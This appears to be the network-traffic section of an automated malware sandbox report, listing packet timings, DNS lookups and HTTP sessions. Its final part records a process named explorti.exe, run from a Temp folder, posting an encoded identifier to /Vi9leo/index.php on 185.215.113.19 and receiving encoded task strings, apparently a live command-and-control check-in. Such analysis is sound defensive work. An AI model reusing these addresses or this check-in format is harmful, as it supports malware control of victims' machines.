Sep 1, 2024 05:09:25.112590075 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.112756968 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.113210917 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.113554955 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.206537008 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.206549883 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.206557035 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.206563950 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.207397938 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.208082914 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.208184958 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.208187103 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.208348036 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.208671093 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.301193953 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.334430933 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.340208054 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.340471029 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.435451984 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.436387062 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.436537027 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.611366987 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.667515039 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.723983049 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.954888105 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.955394983 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:26.049072981 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:26.049627066 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:26.049798965 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:26.056463957 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:26.289570093 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.602624893 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.748806000 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.755327940 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.755383968 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.755595922 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.755645037 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.810844898 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.810863018 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.811043024 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.811353922 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.812330008 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.812459946 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.812819004 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.812851906 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.813044071 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.906009912 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.906019926 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.906528950 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.906583071 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.906871080 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.907227993 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.922878027 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.923618078 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.925724983 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.926565886 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:27.019994020 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:34.447314024 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:34.447356939 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:34.546628952 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:34.583956957 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:34.583967924 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:34.628457069 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:34.744187117 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:35.066422939 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:35.182462931 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:35.182713032 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:37.380063057 CEST	55823	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:37.380326033 CEST	49996	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:37.386811018 CEST	53	55823	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:37.387252092 CEST	53	49996	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:40.712368011 CEST	55932	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:40.712650061 CEST	62728	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:40.713033915 CEST	50272	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:40.713295937 CEST	60123	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:40.718965054 CEST	53	55932	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:40.719103098 CEST	53	62728	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:40.719595909 CEST	53	50272	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:40.719934940 CEST	53	60123	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:40.769954920 CEST	54133	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:40.770117998 CEST	50318	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:40.776863098 CEST	53	50318	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:40.776875019 CEST	53	54133	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:40.884517908 CEST	53	49296	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:41.984662056 CEST	53	54816	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:43.390892982 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.393870115 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.694793940 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.695276976 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.835547924 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.835565090 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.835577011 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.835587025 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.835598946 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.836707115 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.837486982 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.837498903 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.837619066 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.837630033 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.837639093 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.839566946 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.839993000 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.840336084 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.840846062 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.843370914 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.843452930 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.844715118 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.845117092 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.845289946 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.845442057 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.933332920 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.933377981 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.933387995 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.933394909 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.933403015 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.933836937 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.934025049 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.937005997 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.937057972 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.937066078 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.937073946 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.937450886 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.937694073 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.938829899 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.939405918 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.939621925 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.939673901 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.940222025 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.940233946 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.940690994 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.941715002 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:44.027475119 CEST	443	63003	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:44.030999899 CEST	443	56306	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:44.074357033 CEST	56306	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:44.087831974 CEST	63003	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:55.754489899 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:55.754678011 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:55.985961914 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.000000000 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.000035048 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.079484940 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.083220959 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.083260059 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.177726984 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.191169977 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.191181898 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.191464901 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.225383043 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.258683920 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.258708954 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.317270994 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.354490995 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.369554043 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.369594097 CEST	443	59014	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:56.369784117 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.397063971 CEST	59014	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:56.488398075 CEST	443	59014	142.250.65.238	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 1, 2024 05:09:39.383905888 CEST	192.168.2.4	1.1.1.1	c2b9	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 1, 2024 05:09:19.783493996 CEST	192.168.2.4	1.1.1.1	0xec22	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:19.783673048 CEST	192.168.2.4	1.1.1.1	0x7389	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Sep 1, 2024 05:09:23.241470098 CEST	192.168.2.4	1.1.1.1	0x31bf	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.241821051 CEST	192.168.2.4	1.1.1.1	0xf3e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:23.242381096 CEST	192.168.2.4	1.1.1.1	0xb5e1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.242671967 CEST	192.168.2.4	1.1.1.1	0x44cf	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:23.243072987 CEST	192.168.2.4	1.1.1.1	0xbdb1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.243252039 CEST	192.168.2.4	1.1.1.1	0x2ee8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:23.243872881 CEST	192.168.2.4	1.1.1.1	0xb651	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.244051933 CEST	192.168.2.4	1.1.1.1	0x2e9d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:23.310065985 CEST	192.168.2.4	1.1.1.1	0xb0ef	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.310283899 CEST	192.168.2.4	1.1.1.1	0x4c16	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:37.380063057 CEST	192.168.2.4	1.1.1.1	0xddfa	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:37.380326033 CEST	192.168.2.4	1.1.1.1	0x2304	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:40.712368011 CEST	192.168.2.4	1.1.1.1	0xd1db	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.712650061 CEST	192.168.2.4	1.1.1.1	0xded1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:40.713033915 CEST	192.168.2.4	1.1.1.1	0x783a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.713295937 CEST	192.168.2.4	1.1.1.1	0xe720	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Sep 1, 2024 05:09:40.769954920 CEST	192.168.2.4	1.1.1.1	0x569	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.770117998 CEST	192.168.2.4	1.1.1.1	0xf4d4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 1, 2024 05:09:19.790627956 CEST	1.1.1.1	192.168.2.4	0xec22	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:19.790739059 CEST	1.1.1.1	192.168.2.4	0x7389	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:21.596486092 CEST	1.1.1.1	192.168.2.4	0x3e0d	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:21.596486092 CEST	1.1.1.1	192.168.2.4	0x3e0d	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.248019934 CEST	1.1.1.1	192.168.2.4	0x31bf	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.248019934 CEST	1.1.1.1	192.168.2.4	0x31bf	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.248354912 CEST	1.1.1.1	192.168.2.4	0xf3e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:23.248950958 CEST	1.1.1.1	192.168.2.4	0xb5e1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.248950958 CEST	1.1.1.1	192.168.2.4	0xb5e1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.249121904 CEST	1.1.1.1	192.168.2.4	0x44cf	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:23.249711990 CEST	1.1.1.1	192.168.2.4	0x2ee8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:23.249748945 CEST	1.1.1.1	192.168.2.4	0xbdb1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.249748945 CEST	1.1.1.1	192.168.2.4	0xbdb1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.250307083 CEST	1.1.1.1	192.168.2.4	0xb651	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.250307083 CEST	1.1.1.1	192.168.2.4	0xb651	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.250713110 CEST	1.1.1.1	192.168.2.4	0x2e9d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:23.316474915 CEST	1.1.1.1	192.168.2.4	0xb0ef	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.316474915 CEST	1.1.1.1	192.168.2.4	0xb0ef	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:23.316896915 CEST	1.1.1.1	192.168.2.4	0x4c16	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:37.386811018 CEST	1.1.1.1	192.168.2.4	0xddfa	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:37.386811018 CEST	1.1.1.1	192.168.2.4	0xddfa	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:37.387252092 CEST	1.1.1.1	192.168.2.4	0x2304	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:38.582813978 CEST	1.1.1.1	192.168.2.4	0x7ca8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:38.582813978 CEST	1.1.1.1	192.168.2.4	0x7ca8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:38.583189964 CEST	1.1.1.1	192.168.2.4	0x1e6a	No error (0)	wildcard.sf.tlu.dl.delivery.mp.microsoft.com.cdn.dnsv1.com	microsoft-sf.ovslegodl.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:39.369889975 CEST	1.1.1.1	192.168.2.4	0x371b	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:39.369889975 CEST	1.1.1.1	192.168.2.4	0x371b	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:39.607812881 CEST	1.1.1.1	192.168.2.4	0xd5a3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:39.607812881 CEST	1.1.1.1	192.168.2.4	0xd5a3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:39.635929108 CEST	1.1.1.1	192.168.2.4	0xeea6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:40.718965054 CEST	1.1.1.1	192.168.2.4	0xd1db	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.718965054 CEST	1.1.1.1	192.168.2.4	0xd1db	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.719103098 CEST	1.1.1.1	192.168.2.4	0xded1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:40.719595909 CEST	1.1.1.1	192.168.2.4	0x783a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.719595909 CEST	1.1.1.1	192.168.2.4	0x783a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.719934940 CEST	1.1.1.1	192.168.2.4	0xe720	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:40.776863098 CEST	1.1.1.1	192.168.2.4	0xf4d4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 05:09:40.776875019 CEST	1.1.1.1	192.168.2.4	0x569	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:40.776875019 CEST	1.1.1.1	192.168.2.4	0x569	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 05:09:42.441644907 CEST	1.1.1.1	192.168.2.4	0x1	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 05:09:42.441644907 CEST	1.1.1.1	192.168.2.4	0x1	No error (0)	sni1gl.wpc.nucdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

edgeassetservice.azureedge.net

chrome.cloudflare-dns.com

fs.microsoft.com

https:

www.google.com

clients2.googleusercontent.com

msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com

185.215.113.19

185.215.113.16

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:04.894165993 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:05.661681890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:05.665288925 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:05.939384937 CEST	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 33 0d 0a 20 3c 63 3e 31 30 30 30 30 35 31 30 30 30 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 30 35 32 30 30 30 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 30 35 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 30 65 65 66 65 62 38 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 113 <c>1000051000+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000052000+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000053001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#<d>0

